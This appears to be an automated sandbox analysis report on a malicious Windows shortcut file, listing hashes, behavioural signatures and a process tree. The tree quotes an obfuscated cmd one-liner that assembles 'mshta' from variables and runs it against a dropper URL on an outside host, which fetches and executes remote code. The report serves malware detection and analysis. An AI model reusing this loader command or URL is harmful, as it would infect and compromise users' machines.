Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
04/08/2026, 08:23
Static task
static1
Behavioral task
behavioral1
Sample
DOC-0WTI3B.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-0WTI3B.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-0WTI3B.lnk
- Size 1KB
- Sample260804-j98fsszzdw
- SHA256 348275fd49a34fae25ec25b8d7db603eb66d50344e7a417160f1041b39c9e0b4
- MD5 930219c75800c8c97fb4113f2945e00d
- SHA1 796457140f3d15396ae6e3c5844eadd0cdd3d3eb
- SHA512 2bf209fe4b70b8b45afaf85b17dd627c9e598d971e86d869af9a23cb1e5b0f2c0a16b43c8a16fb00dba4e628cfd0c85b9101f22addfefd29d7151b9153a95092
- TLSH T1E43197103FED0664F3F78E7398BB572489BBB8958D20C62E0041454C5032A15F17AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation cmd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1400 cmd.exe 3896 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1400 wrote to memory of 3896 1400 cmd.exe 87 PID 3896 wrote to memory of 3488 3896 cmd.exe 88
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-0WTI3B.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1400 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set li=msh&&set kSBxv=ta&&start "" !li!!kSBxv! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3896 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:3488
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